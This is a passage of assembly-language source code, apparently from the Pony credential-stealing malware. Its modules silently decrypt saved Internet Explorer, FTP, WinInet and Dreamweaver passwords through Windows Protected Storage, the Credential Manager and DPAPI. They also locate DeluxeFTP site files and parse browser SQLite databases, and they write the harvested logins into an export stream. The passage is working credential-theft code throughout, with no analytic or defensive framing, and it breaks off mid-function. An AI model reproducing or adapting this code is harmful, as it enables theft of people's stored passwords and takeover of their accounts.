celtfetched: DWORD LOCAL ppEnum: DWORD .IF !callback ret .ENDIF coinvoke ppProvider, IPStore, EnumItems, 0, pType, pSubtype, 0, addr ppEnum test eax, eax jnz @ret @loop: ; Here should be IEnumPStoreItems, but it is similar to IEnumPStoreTypes ; so I do not use it mov celtfetched, 0 coinvoke ppEnum, IEnumPStoreTypes, Next, 16, addr WSTRBuf, addr celtfetched cmp celtfetched, 0 jz @release ; Enumerated Items are in WSTRBuf now lea edi, WSTRBuf @inner_loop: push ppProvider push stream push dword ptr[edi] push pSubtype push pType call callback ; Free memory invoke CoTaskMemFree, dword ptr[edi] ; Next entry add edi, 4 dec celtfetched jnz @inner_loop jmp @loop @release: ; Release interface coinvoke ppEnum, IEnumPStoreTypes, Release @ret: ret ReadPSItems endp ReadPSSubtypes proc uses edi pType, stream, ppProvider, callback LOCAL GUIDBuf[16]: GUID LOCAL celtfetched: DWORD LOCAL ppEnum:DWORD ; Get IEnumPStoreTypes interface coinvoke ppProvider, IPStore, EnumSubtypes, 0, pType, 0, addr ppEnum test eax, eax jnz @ret @loop: mov celtfetched, 0 coinvoke ppEnum, IEnumPStoreTypes, Next, 16, addr GUIDBuf, addr celtfetched cmp celtfetched, 0 jz @release ; Enumerate subtypes, for each subtype enumerate items lea edi, GUIDBuf @inner_loop: invoke ReadPSItems, pType, edi, stream, ppProvider, callback ; Next entry add edi, sizeof GUID dec celtfetched jnz @inner_loop jmp @loop @release: ; Release interface coinvoke ppEnum, IEnumPStoreTypes, Release @ret: ret ReadPSSubtypes endp ReadPSTypes proc uses edi stream, ppProvider, callback LOCAL celtfetched: DWORD LOCAL GUIDBuf[16]: GUID LOCAL ppEnum: DWORD ; Get IEnumPStoreTypes interface coinvoke ppProvider, IPStore, EnumTypes, 0, 0, addr ppEnum test eax, eax jnz @ret @loop: mov celtfetched, 0 nop coinvoke ppEnum, IEnumPStoreTypes, Next, 16, addr GUIDBuf, addr celtfetched nop cmp celtfetched, 0 nop jz @release ; Enumerated types are in GUIDBuf now, for each type enumerate subtypes lea edi, GUIDBuf @inner_loop: nop invoke ReadPSSubtypes, edi, stream, ppProvider, callback ; Next item add edi, sizeof GUID nop dec celtfetched nop jnz @inner_loop nop jmp @loop @release: ; Release interface coinvoke ppEnum, IEnumPStoreTypes, Release @ret: ret ReadPSTypes endp ENDIF IFDEF COMPILE_MODULE_IE .data szPSExplorer db "Internet Explorer",0 szPSSites db "WininetCacheCredentials",0 szPSFTP db "MS IE FTP Passwords",0 szPSDPAPI db "DPAPI: ", 0 .code PSExport proc dwType, lpName, pData, pDataLen, stream invoke StreamWriteDWORD, stream, dwType invoke lstrlenW, lpName shl eax, 1 add eax, 2 ; NULL invoke StreamWriteBinaryString, stream, lpName, eax invoke StreamWriteBinaryString, stream, pData, pDataLen ret PSExport endp PSExportA proc dwType, lpName, pData, pDataLen, stream invoke StreamWriteDWORD, stream, dwType invoke lstrlenA, lpName inc eax ; NULL invoke StreamWriteBinaryString, stream, lpName, eax invoke StreamWriteBinaryString, stream, pData, pDataLen ret PSExportA endp ReadPSItemValue proc pType, pSubtype, pItem, stream, ppProvider LOCAL szType[1024]: BYTE LOCAL szItem[1024]: BYTE LOCAL pspi: _PST_PROMPTINFO LOCAL pData, pDataLen: DWORD LOCAL InBlob: DATA_BLOB LOCAL OutBlob: DATA_BLOB LOCAL dwType: DWORD ; Get readable names, convert them to ANSI strings invoke TypeNameToStr, pType, addr szType, ppProvider invoke WideCharToMultiByte, CP_ACP, 0, pItem, -1, addr szItem, 1023, NULL, NULL ; Set prompt info structure mov pspi.cbSize, sizeof _PST_PROMPTINFO mov pspi.dwPromptFlags, PST_PF_NEVER_SHOW mov pspi.hwndApp, 0 mov pspi.szPrompt, 0 ; pData pointer is allocated automaticly and should be freed using ; CoTaskMemFree function coinvoke ppProvider, IPStore, ReadItem, 0, pType, pSubtype, pItem, addr pDataLen, addr pData, addr pspi, 0 cmp pDataLen, 0 jz @ret cmp pData, 0 jz @ret ; Protected sites & FTP passwords IFDEF GRAB_HTTP mov dwType, ITEMHDR_ID or 0 invoke lstrcmpi, addr szType, offset szPSExplorer test eax, eax jz @scan_item mov dwType, ITEMHDR_ID or 1 invoke lstrcmpi, addr szType, offset szPSSites test eax, eax jz @scan_item ENDIF mov dwType, ITEMHDR_ID or 2 invoke lstrcmpi, addr szType, offset szPSFTP test eax, eax jnz @F @scan_item: ; Some FTP items are encrypted using DPAPI, decrypt them invoke StrStrI, addr szItem, addr szPSDPAPI .IF eax ; Check if crypt32.dll was loaded cmp MyCryptUnprotectData, 0 jz @F m2m InBlob.cbData, pDataLen m2m InBlob.pbData, pData lea eax, OutBlob push eax push CRYPTPROTECT_UI_FORBIDDEN push 0 push 0 push 0 push 0 lea eax, InBlob push eax call MyCryptUnprotectData ; Export decrypted data (password) .IF eax invoke PSExport, dwType, pItem, OutBlob.pbData, OutBlob.cbData, stream invoke LocalFree, OutBlob.pbData .ENDIF .ELSE invoke PSExport, dwType, pItem, pData, pDataLen, stream .ENDIF @@: invoke CoTaskMemFree, pData @ret: ret ReadPSItemValue endp .data sCLSID_IUrlHistory textequ <{03C374A40H, 0BAE4H, 011CFH, \ {0BFH, 07DH, 000H, 0AAH, 000H, 069H, 046H, 0EEH}}> sIID_IUrlHistoryStg textequ <{03C374A41H, 0BAE4H, 011CFH, \ {0BFH, 07DH, 000H, 0AAH, 000H, 069H, 046H, 0EEH}}> sIID_IUrlHistoryStg2 textequ <{0AFA0DC11H, 0C313H, 011D0H, \ {083H, 01AH, 000H, 0C0H, 04FH, 0D5H, 0AEH, 038H}}> sIID_IEnumSTATURL textequ <{03C374A42H, 0BAE4H, 011CFH, \ {0BFH, 07DH, 000H, 0AAH, 000H, 069H, 046H, 0EEH}}> DeclareGuid CLSID_IUrlHistory DeclareGuid IID_IUrlHistoryStg DeclareGuid IID_IEnumSTATURL szIE7WideQuestion db '?',0,0,0 szIE7HashFmt2 db '%02X',0 szIE7RegPath db 'Software\Microsoft\Internet Explorer\IntelliForms\Storage2',0 szIE7Facebook db 'h',0,'t',0,'t',0,'p',0,':',0,'/',0,'/',0 db 'w',0,'w',0,'w',0,'.',0,'f',0,'a',0,'c',0,'e',0,'b',0,'o',0,'o',0,'k',0,'.',0,'c',0,'o',0,'m',0,'/',0,0,0 .code STATURL struct DWORD cbSize dd ? pwcsUrl dd ? pwcsTitle dd ? ftLastVisited FILETIME <> ftLastUpdated FILETIME <> ftExpires FILETIME <> dwFlags dd ? STATURL ends IEnumSTATURL struct DWORD IEnumSTATURL_QueryInterface comethod3 ? IEnumSTATURL_AddRef comethod1 ? IEnumSTATURL_Release comethod1 ? IEnumSTATURL_Next comethod4 ? IEnumSTATURL_Skip comethod2 ? IEnumSTATURL_Reset comethod1 ? IEnumSTATURL_Clone comethod2 ? IEnumSTATURL_SetFilter comethod3 ? IEnumSTATURL ends IUrlHistoryStg struct DWORD IUrlHistoryStg_QueryInterface comethod3 ? IUrlHistoryStg_AddRef comethod1 ? IUrlHistoryStg_Release comethod1 ? IUrlHistoryStg_AddUrl comethod4 ? IUrlHistoryStg_DeleteUrl comethod3 ? IUrlHistoryStg_QueryUrl comethod4 ? IUrlHistoryStg_BindToObject comethod4 ? IUrlHistoryStg_EnumUrls comethod2 ? IUrlHistoryStg ends IFDEF GRAB_HTTP IE7ProcessUrl proc uses esi stream, wcsURL, repPos LOCAL sha1_hash[20]: BYTE LOCAL format_buf[20]: BYTE LOCAL crc: DWORD LOCAL hash_str: DWORD LOCAL dwDataLen: DWORD LOCAL lpData: DWORD LOCAL InBlob: DATA_BLOB LOCAL OutBlob: DATA_BLOB LOCAL EntropyBlob: DATA_BLOB invoke lstrlenW, wcsURL .IF !eax ret .ENDIF shl eax, 1 add eax, 2 mov edx, eax invoke SHA1Data, wcsURL, edx, addr sha1_hash sub ecx, ecx mov crc, ecx .WHILE ecx < 20 movzx eax, sha1_hash[ecx] add crc, eax inc ecx .ENDW sub esi, esi mov hash_str, esi .WHILE esi < 20 movzx eax, sha1_hash[esi] invoke wsprintf, addr format_buf, offset szIE7HashFmt2, eax invoke PonyStrCatFreeArg1, hash_str, addr format_buf mov hash_str, eax inc esi .ENDW and crc, 0ffh invoke wsprintf, addr format_buf, offset szIE7HashFmt2, crc invoke PonyStrCatFreeArg1, hash_str, addr format_buf mov hash_str, eax invoke RegReadValueStr, dwCurrentUserKey, offset szIE7RegPath, hash_str, addr dwDataLen .IF eax mov lpData, eax .IF dwDataLen invoke lstrlenW, wcsURL shl eax, 1 add eax, 2 ; NULL mov EntropyBlob.cbData, eax m2m EntropyBlob.pbData, wcsURL m2m InBlob.cbData, dwDataLen m2m InBlob.pbData, lpData mov OutBlob.pbData, 0 .IF MyCryptUnprotectData lea eax, OutBlob push eax push CRYPTPROTECT_UI_FORBIDDEN push 0 push 0 lea eax, EntropyBlob push eax push 0 lea eax, InBlob push eax call MyCryptUnprotectData .IF eax && OutBlob.pbData .IF repPos mov edx, repPos mov word ptr[edx], '?' .ENDIF invoke PSExport, ITEMHDR_ID or 3, wcsURL, OutBlob.pbData, OutBlob.cbData, stream invoke LocalFree, OutBlob.pbData .ENDIF .ENDIF .ENDIF invoke MemFree, lpData .ENDIF invoke MemFree, hash_str ret IE7ProcessUrl endp IE7FindUrls proc stream LOCAL pHistoryStg: DWORD LOCAL pEnum: DWORD LOCAL stat: STATURL LOCAL celtFetched: DWORD LOCAL repPos: DWORD invoke CoCreateInstance, offset CLSID_IUrlHistory, NULL, CLSCTX_SERVER, offset IID_IUrlHistoryStg, addr pHistoryStg test eax, eax .IF SUCCEEDED coinvoke pHistoryStg, IUrlHistoryStg, EnumUrls, addr pEnum test eax, eax .IF SUCCEEDED .IF pEnum mov stat.pwcsUrl, NULL mov stat.pwcsTitle, NULL mov stat.cbSize, sizeof(STATURL) @@: mov celtFetched, 0 coinvoke pEnum, IEnumSTATURL, Next, 1, addr stat, addr celtFetched .IF eax == S_OK && celtFetched == 1 .IF stat.pwcsUrl invoke StrStrIW, stat.pwcsUrl, offset szIE7WideQuestion .IF eax mov word ptr[eax], 0 mov repPos, eax .ELSE mov repPos, 0 .ENDIF invoke IE7ProcessUrl, stream, stat.pwcsUrl, repPos invoke CoTaskMemFree, stat.pwcsUrl .IF stat.pwcsTitle invoke CoTaskMemFree, stat.pwcsTitle .ENDIF .ENDIF jmp @B .ENDIF coinvoke pEnum, IUnknown, Release .ENDIF .ENDIF coinvoke pHistoryStg, IUnknown, Release .ENDIF invoke IE7ProcessUrl, stream, offset szIE7Facebook, 0 ret IE7FindUrls endp ENDIF .data szIE7CredEntropyInitialized dd 0 szIE7CredEntropy db 'a',0,'b',0,'e',0,'2',0,'8',0,'6',0,'9',0,'f',0,'-',0,'9',0,'b',0,'4',0,'7',0,'-',0 db '4',0,'c',0,'d',0,'9',0,'-',0,'a',0,'3',0,'5',0,'8',0,'-',0,'c',0,'2',0,'2',0,'9',0 db '0',0,'4',0,'d',0,'b',0,'a',0,'7',0,'f',0,'7',0,0,0 szIE7CredStr db 'Microsoft_WinInet_*',0 szIE7FTP db 'ftp://',0 .code IE7ScanCred proc uses esi stream LOCAL pCred: DWORD LOCAL Count: DWORD LOCAL InBlob: DATA_BLOB LOCAL OutBlob: DATA_BLOB LOCAL EntropyBlob: DATA_BLOB ; Initialize Entropy string .IF !szIE7CredEntropyInitialized mov szIE7CredEntropyInitialized, TRUE mov esi, offset szIE7CredEntropy .WHILE word ptr[esi] shl word ptr[esi], 2 add esi, 2 .ENDW .ENDIF .IF MyCredFree && MyCredEnumerate && MyCryptUnprotectData mov pCred, NULL mov Count, 0 lea eax, pCred push eax lea eax, Count push eax push 0 push offset szIE7CredStr call MyCredEnumerate .IF eax && Count && pCred mov esi, pCred .WHILE Count && dword ptr[esi] push esi mov esi, dword ptr[esi] m2m InBlob.cbData, dword ptr[esi].CREDENTIAL.CredentialBlobSize m2m InBlob.pbData, dword ptr[esi].CREDENTIAL.CredentialBlob invoke lstrlenW, offset szIE7CredEntropy shl eax, 1 add eax, 2 ; NULL mov EntropyBlob.cbData, eax m2m EntropyBlob.pbData, offset szIE7CredEntropy mov OutBlob.pbData, 0 lea eax, OutBlob push eax push CRYPTPROTECT_UI_FORBIDDEN push 0 push 0 lea eax, EntropyBlob push eax push 0 lea eax, InBlob push eax call MyCryptUnprotectData .IF eax && OutBlob.pbData IFDEF GRAB_HTTP mov eax, TRUE ELSE invoke StrStrI, [esi].CREDENTIAL.TargetName, offset szIE7FTP ENDIF .IF eax invoke PSExportA, ITEMHDR_ID or 4, [esi].CREDENTIAL.TargetName, OutBlob.pbData, OutBlob.cbData, stream .ENDIF invoke LocalFree, OutBlob.pbData .ENDIF pop esi dec Count add esi, 4 .ENDW push pCred call MyCredFree .ENDIF .ENDIF ret IE7ScanCred endp GrabIE proc stream LOCAL hdr_ofs: DWORD LOCAL ppProvider: DWORD invoke StreamWriteModuleHeader, stream, MODULE_IE, 0 mov hdr_ofs, eax .IF MyPStoreCreateInstance mov ppProvider, NULL ; Get interface to IPStore sub eax, eax push eax push eax push eax lea edx, ppProvider push edx call MyPStoreCreateInstance test eax, eax .IF !SUCCEEDED jmp @ret .ENDIF .IF !ppProvider jmp @ret .ENDIF ; Read Protected Storage data invoke ReadPSTypes, stream, ppProvider, offset ReadPSItemValue ; Release interface coinvoke ppProvider, IPStore, Release .ENDIF @ret: IFDEF GRAB_HTTP invoke IE7FindUrls, stream ENDIF invoke IE7ScanCred, stream invoke StreamUpdateModuleLen, stream, hdr_ofs ret GrabIE endp ENDIF ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; Dreamweaver CS5 ; Tested: Dreamweaver CS5.5 ; SFTP: implemented IFDEF COMPILE_MODULE_DREAMWEAVER .data CDreamweaverBasePath db 'Software\Adobe\Common',0 CDreamweaverSiteServers db 'SiteServers',0 CDreamweaverHostFmt db 'SiteServer %d\Host',0 CDreamweaverUrlFmt db 'SiteServer %d\WebUrl',0 CDreamweaverDirFmt db 'SiteServer %d\Remote Directory',0 CDreamweaverUserFmt db 'SiteServer %d-User',0 CDreamweaverPassFmt db 'SiteServer %d-User PW',0 CDreamweaverNameFmt db '%s\Keychain',0 CDreamweaverSFTPFmt db 'SiteServer %d\SFTP',0 .code DreamweaverDecryptPass proc uses esi edi ebx lpPass, lpdwPasswordLen LOCAL InBlob: DATA_BLOB LOCAL OutBlob: DATA_BLOB mov edx, lpdwPasswordLen mov dword ptr[edx], 0 invoke lstrlen, lpPass .IF eax <= 1 sub eax, eax ret .ENDIF shr eax, 1 mov edx, lpdwPasswordLen mov dword ptr[edx], eax mov ebx, eax .IF !CARRY? mov esi, lpPass mov edi, lpPass ; decode hex string .WHILE ebx mov ax, word ptr[esi] .IF ah >= '0' && ah <= '9' sub ah, '0' .ELSEIF ah >= 'A' && ah <= 'F' sub ah, 'A' add ah, 0ah .ELSE sub eax, eax ret .ENDIF .IF al >= '0' && al <= '9' sub al, '0' .ELSEIF al >= 'A' && al <= 'F' sub al, 'A' add al, 0ah .ELSE sub eax, eax ret .ENDIF shl al, 4 or al, ah stosb dec ebx add esi, 2 .ENDW mov eax, lpdwPasswordLen m2m InBlob.cbData, dword ptr [eax] m2m InBlob.pbData, lpPass mov OutBlob.pbData, 0 .IF MyCryptUnprotectData lea eax, OutBlob push eax push CRYPTPROTECT_UI_FORBIDDEN push 0 push 0 push 0 push 0 lea eax, InBlob push eax call MyCryptUnprotectData .IF eax && OutBlob.pbData mov eax, lpdwPasswordLen mov ecx, OutBlob.cbData ; check if the input buffer is large enough to hold the decrypted password .IF ecx <= dword ptr[eax] cld mov esi, OutBlob.pbData mov edi, lpPass mov ecx, OutBlob.cbData jecxz @F rep movsb @@: mov eax, lpdwPasswordLen m2m dword ptr[eax], OutBlob.cbData invoke LocalFree, OutBlob.pbData mov eax, TRUE ret .ENDIF .ENDIF .ENDIF .ENDIF sub eax, eax ret DreamweaverDecryptPass endp DreamweaverReadSite proc stream, BasePath, nSite LOCAL szHost: DWORD LOCAL szURL: DWORD LOCAL szDir: DWORD LOCAL szUser: DWORD LOCAL szPass: DWORD LOCAL szNamePassPath: DWORD LOCAL szSFTP: DWORD LOCAL lpHost: DWORD LOCAL lpURL: DWORD LOCAL lpDir: DWORD LOCAL lpUser: DWORD LOCAL lpPass: DWORD LOCAL lpSFTP: DWORD LOCAL dwPasswordLen: DWORD LOCAL dwUserLen: DWORD LOCAl dwSFTPLen: DWORD invoke MemAlloc, 8192 mov szHost, eax invoke MemAlloc, 8192 mov szURL, eax invoke MemAlloc, 8192 mov szDir, eax invoke MemAlloc, 8192 mov szUser, eax invoke MemAlloc, 8192 mov szPass, eax invoke MemAlloc, 8192 mov szNamePassPath, eax invoke MemAlloc, 8192 mov szSFTP, eax invoke wsprintf, szHost, addr CDreamweaverHostFmt, nSite invoke wsprintf, szURL, addr CDreamweaverUrlFmt, nSite invoke wsprintf, szDir, addr CDreamweaverDirFmt, nSite invoke wsprintf, szUser, addr CDreamweaverUserFmt, nSite invoke wsprintf, szPass, addr CDreamweaverPassFmt, nSite invoke wsprintf, szNamePassPath, addr CDreamweaverNameFmt, BasePath invoke wsprintf, szSFTP, addr CDreamweaverSFTPFmt, nSite invoke RegReadValueStr, dwCurrentUserKey, BasePath, szHost, NULL mov lpHost, eax invoke RegReadValueStr, dwCurrentUserKey, BasePath, szURL, NULL mov lpURL, eax invoke RegReadValueStr, dwCurrentUserKey, BasePath, szDir, NULL mov lpDir, eax invoke RegReadValueStr, dwCurrentUserKey, szNamePassPath, szUser, NULL mov lpUser, eax invoke RegReadValueStr, dwCurrentUserKey, szNamePassPath, szPass, NULL mov lpPass, eax invoke RegReadValueStr, dwCurrentUserKey, BasePath, szSFTP, addr dwSFTPLen mov lpSFTP, eax .IF lpHost && lpUser && lpPass invoke DreamweaverDecryptPass, lpUser, addr dwUserLen .IF eax && dwUserLen invoke DreamweaverDecryptPass, lpPass, addr dwPasswordLen .IF eax && dwPasswordLen invoke StreamWriteDWORD, stream, ITEMHDR_ID or 10h invoke StreamWriteString, stream, lpHost invoke StreamWriteString, stream, lpURL invoke StreamWriteString, stream, lpDir invoke StreamWriteBinaryString, stream, lpUser, dwUserLen invoke StreamWriteBinaryString, stream, lpPass, dwPasswordLen .IF lpSFTP && dwSFTPLen == 4 mov eax, lpSFTP invoke StreamWriteDWORD, stream, dword ptr[eax] .ELSE invoke StreamWriteDWORD, stream, 0 .ENDIF .ENDIF .ENDIF .ENDIF invoke MemFree, szHost invoke MemFree, szURL invoke MemFree, szDir invoke MemFree, szUser invoke MemFree, szPass invoke MemFree, szNamePassPath invoke MemFree, szSFTP invoke MemFree, lpHost invoke MemFree, lpURL invoke MemFree, lpDir invoke MemFree, lpUser invoke MemFree, lpPass invoke MemFree, lpSFTP ret DreamweaverReadSite endp DreamweaverScanReg proc stream, BasePath LOCAL hkHandle: DWORD LOCAL KeyIndex: DWORD LOCAL dwBufLen: DWORD LOCAL dwDataLen: DWORD LOCAL lpBuf[2048]: BYTE LOCAL nServers: DWORD LOCAL S: DWORD invoke RegOpenKey, dwCurrentUserKey, BasePath, addr hkHandle .IF !eax mov KeyIndex, 0 .WHILE TRUE mov dwBufLen, 2047 invoke RegEnumKeyEx, hkHandle, KeyIndex, addr lpBuf, addr dwBufLen, NULL, NULL, NULL, NULL .IF eax .BREAK .ENDIF invoke PonyStrCat, BasePath, addr szSlash push eax mov edx, eax invoke PonyStrCat, edx, addr lpBuf mov S, eax call MemFree invoke RegReadValueStr, dwCurrentUserKey, S, addr CDreamweaverSiteServers, addr dwDataLen mov nServers, eax .IF nServers .IF dwDataLen == 4 mov eax, nServers m2m nServers, dword ptr[eax] .IF nServers > 1000 mov nServers, 1000 .ENDIF .WHILE nServers dec nServers invoke DreamweaverReadSite, stream, S, nServers .ENDW .ENDIF invoke MemFree, nServers .ENDIF invoke MemFree, nServers ; recursively scan subfolders invoke DreamweaverScanReg, stream, S invoke MemFree, S inc KeyIndex .ENDW invoke RegCloseKey, hkHandle .ENDIF ret DreamweaverScanReg endp GrabDreamweaver proc stream LOCAL hdr_ofs: DWORD invoke StreamWriteModuleHeader, stream, MODULE_DREAMWEAVER, 0 mov hdr_ofs, eax invoke DreamweaverScanReg, stream, offset CDreamweaverBasePath invoke StreamUpdateModuleLen, stream, hdr_ofs ret GrabDreamweaver endp ENDIF IFDEF COMPILE_MODULE_DELUXEFTP ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; DeluxeFTP 6 ; http://www.deluxeftp.com/ ; Tested: Version 6.0.1 ; SFTP: not supported .data CDeluxeFTPName db 'DeluxeFTP',0 CDeluxeFTPXMLFile db 'sites.xml',0 .code GrabDeluxeFTP proc uses esi edi stream LOCAL hdr_ofs: DWORD invoke StreamWriteModuleHeader, stream, MODULE_DELUXEFTP, 0 mov hdr_ofs, eax mov esi, lpInstalledList mov edi, lpInstalledNames .IF byte ptr[edi] @n: invoke StrStrI, edi, offset CDeluxeFTPName .IF eax invoke ExtractFilePath, esi push eax invoke CommonFileScan, stream, eax, offset CDeluxeFTPXMLFile, ITEMHDR_ID or 0 call MemFree .ENDIF .WHILE byte ptr[esi] inc esi .ENDW inc esi @Next @n .ENDIF invoke StreamUpdateModuleLen, stream, hdr_ofs ret GrabDeluxeFTP endp ENDIF IFDEF COMPILE_MODULE_CHROME COMPILE_CHROMIUM_CODE equ 1 ELSEIFDEF COMPILE_MODULE_CHROMIUM COMPILE_CHROMIUM_CODE equ 1 ELSEIFDEF COMPILE_MODULE_CHROMEPLUS COMPILE_CHROMIUM_CODE equ 1 ELSEIFDEF COMPILE_MODULE_BROMIUM COMPILE_CHROMIUM_CODE equ 1 ELSEIFDEF COMPILE_MODULE_NICHROME COMPILE_CHROMIUM_CODE equ 1 ELSEIFDEF COMPILE_MODULE_COMODODRAGON COMPILE_CHROMIUM_CODE equ 1 ELSEIFDEF COMPILE_MODULE_ROCKMELT COMPILE_CHROMIUM_CODE equ 1 ELSEIFDEF COMPILE_MODULE_COOLNOVO COMPILE_CHROMIUM_CODE equ 1 ELSEIFDEF COMPILE_MODULE_YANDEXINTERNET COMPILE_CHROMIUM_CODE equ 1 ELSEIFDEF COMPILE_MODULE_OPERA COMPILE_CHROMIUM_CODE equ 1 ENDIF IFDEF COMPILE_CHROMIUM_CODE COMPILE_SQLITE3_CODE equ 1 ELSEIFDEF COMPILE_MOZILLA_CODE COMPILE_SQLITE3_CODE equ 1 ENDIF IFDEF COMPILE_SQLITE3_CODE ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; Tiny SQLite3 database engine implementation .data szSQLite3Header db 'SQLite format 3',0 szSQLite3TableType db 'table',0 szSQLiteLeftBracket db '(',0 szSQLiteRightBracket db ')',0 szSQLiteSpaceChar db ' ',0 szSQLiteStopWords db 'CONSTRAINT',0,'PRIMARY',0,'UNIQUE',0,'CHECK',0,'FOREIGN',0,0 .data? dwSQLitePageSize dd ? dwSQLiteEncoding dd ? .code SQLITE_DATATYPE_INT equ 0 SQLITE_DATATYPE_STR equ 1 SQLITE_DATATYPE_BLOB equ 2 SQLITE_DATATYPE_OTHER equ 3 SQLITE_PAGE_LEAF equ 13 SQLITE_PAGE_INTERIOR equ 5 ; 64-bit SHL emulation shl64 MACRO arg, ct mov eax, dword ptr arg mov edx, dword ptr &arg&+4 shld edx, eax, ct shl eax, ct mov dword ptr arg, eax mov dword ptr &arg&+4, edx ENDM ; Read Huffman encoding 64-bit twos-complement integer (VARINT) from the data stream SQLiteReadVarInt proc uses ebx stream, lpStatusCode, plen LOCAL result: QWORD mov dword ptr[result], 0 mov dword ptr[result+4], 0 mov eax, lpStatusCode .IF !dword ptr[eax] sub eax, eax sub edx, edx ret .ENDIF mov ebx, 1 .WHILE ebx <= 9 .IF plen mov eax, plen mov dword ptr[eax], ebx .ENDIF invoke Stream_SafeReadByte, stream, lpStatusCode .IF ebx == 9 or dword ptr[result], eax jmp @return_result .ENDIF push eax and eax, not 80h or dword ptr[result], eax pop eax test eax, 80h .IF ZERO? jmp @return_result .ENDIF .IF ebx == 8 shl64 result, 8 .ELSE shl64 result, 7 .ENDIF inc ebx .ENDW @return_result: mov eax, lpStatusCode .IF !dword ptr[eax] sub eax, eax sub edx, edx .ELSE mov eax, dword ptr[result] mov edx, dword ptr[result+4] .ENDIF ret SQLiteReadVarInt endp ; Build full data stream out of page chunks SQLiteBuildPayloadStream proc stream, bytes_stored, payload_len, lpStatusCode LOCAL payload_data_stream: DWORD LOCAL mem: DWORD LOCAL next_overflow_page: DWORD mov eax, dwSQLitePageSize .IF bytes_stored > eax sub eax, eax ret .ENDIF invoke MemAlloc, dwSQLitePageSize mov mem, eax invoke StreamCreate, addr payload_data_stream invoke Stream_SafeReadStream, stream, mem, bytes_stored, lpStatusCode .IF eax invoke StreamWrite, payload_data_stream, mem, bytes_stored mov eax, bytes_stored .IF eax < payload_len invoke Stream_SafeReadDWORD, stream, lpStatusCode mov next_overflow_page, eax .WHILE (next_overflow_page != 0) dec next_overflow_page sub edx, edx mov eax, next_overflow_page mul dwSQLitePageSize .IF edx jmp @stream_err .ENDIF invoke StreamSeekOffset, stream, eax, OFS_BEGIN invoke Stream_SafeReadDWORD, stream, lpStatusCode mov edx, lpStatusCode .IF !dword ptr[edx] jmp @stream_err .ENDIF mov next_overflow_page, eax mov ecx, dwSQLitePageSize sub ecx, 4 push ecx invoke Stream_SafeReadStream, stream, mem, ecx, lpStatusCode pop ecx .IF !eax jmp @stream_err .ENDIF invoke StreamWrite, payload_data_stream, mem, ecx invoke StreamGetLength, payload_data_stream .IF eax > 1024*1024*100 jmp @stream_err .ENDIF .ENDW .ENDIF .ELSE @stream_err: invoke StreamFree, payload_data_stream mov payload_data_stream, NULL mov eax, lpStatusCode mov dword ptr[eax], FALSE .ENDIF invoke MemFree, mem mov eax, payload_data_stream ret SQLiteBuildPayloadStream endp ; Allocate memory and store record data SQLiteBuildDataRecord proc uses edi lpData, dwDataLen, dwDataType, lpDataOut mov eax, dwDataLen add eax, 8 invoke MemAlloc, eax mov edi, eax m2m dword ptr[edi], dwDataLen m2m dword ptr[edi+4], dwDataType .IF dwDataLen invoke MoveMem, lpData, addr [edi+8], dwDataLen .ENDIF mov eax, lpDataOut mov dword ptr[eax], edi mov eax, TRUE ret SQLiteBuildDataRecord endp SQLiteReadRecord proc stream, serial, lpStatusCode, lpDataOut LOCAL IntVal: DWORD LOCAL StrVal: DWORD LOCAL StrLen: DWORD mov edx, lpDataOut mov dword ptr[edx], NULL ; Parity check required for blobs and strings sub edx, edx test serial, 1 setz dl .IF serial == 0 ; NULL invoke SQLiteBuildDataRecord, NULL, 0, SQLITE_DATATYPE_OTHER, lpDataOut .ELSEIF serial == 1 ; 8-bit int invoke Stream_SafeReadByte, stream, lpStatusCode mov IntVal, eax invoke SQLiteBuildDataRecord, addr IntVal, 4, SQLITE_DATATYPE_INT, lpDataOut .ELSEIF serial == 2 ; 16-bit int invoke Stream_SafeReadWORD, stream, lpStatusCode mov IntVal, eax invoke SQLiteBuildDataRecord, addr IntVal, 4, SQLITE_DATATYPE_INT, lpDataOut .ELSEIF serial == 3 ; 24-bit int invoke Stream_SafeReadSkip, stream, 3, lpStatusCode invoke SQLiteBuildDataRecord, NULL, 0, SQLITE_DATATYPE_OTHER, lpDataOut .ELSEIF serial == 4 ; 32-bit int invoke Stream_SafeReadDWORD, stream, lpStatusCode mov IntVal, eax invoke SQLiteBuildDataRecord, addr IntVal, 4, SQLITE_DATATYPE_INT, lpDataOut .ELSEIF serial == 5 ; 48-bit int invoke Stream_SafeReadSkip, stream, 6, lpStatusCode invoke SQLiteBuildDataRecord, NULL, 0, SQLITE_DATATYPE_OTHER, lpDataOut .ELSEIF serial == 6 ; 64-bit int invoke Stream_SafeReadSkip, stream, 8, lpStatusCode invoke SQLiteBuildDataRecord, NULL, 0, SQLITE_DATATYPE_OTHER, lpDataOut .ELSEIF serial == 7 ; float invoke Stream_SafeReadSkip, stream, 8, lpStatusCode invoke SQLiteBuildDataRecord, NULL, 0, SQLITE_DATATYPE_OTHER, lpDataOut .ELSEIF serial == 8 ; 0 mov IntVal, 0 invoke SQLiteBuildDataRecord, addr IntVal, 4, SQLITE_DATATYPE_INT, lpDataOut .ELSEIF serial == 9 ; 1 mov IntVal, 1 invoke SQLiteBuildDataRecord, addr IntVal, 4, SQLITE_DATATYPE_INT, lpDataOut .ELSEIF serial == 10 ; Reserved mov eax, FALSE .ELSEIF serial == 11 ; Reserved mov eax, FALSE .ELSEIF (serial >= 12) && (edx) && (serial < 1024*1024*100) ; BLOB m2m StrLen, serial sub StrLen, 12 shr StrLen, 1 invoke MemAlloc, StrLen mov StrVal, eax invoke Stream_SafeReadStream, stream, StrVal, StrLen, lpStatusCode invoke SQLiteBuildDataRecord, StrVal, StrLen, SQLITE_DATATYPE_BLOB, lpDataOut invoke MemFree, StrVal mov eax, TRUE .ELSEIF (serial >= 13) && (!edx) && (serial < 1024*1024*100) ; String (UTF-8) m2m StrLen, serial sub StrLen, 13 shr StrLen, 1 invoke MemAlloc, StrLen mov StrVal, eax invoke Stream_SafeReadStream, stream, StrVal, StrLen, lpStatusCode invoke 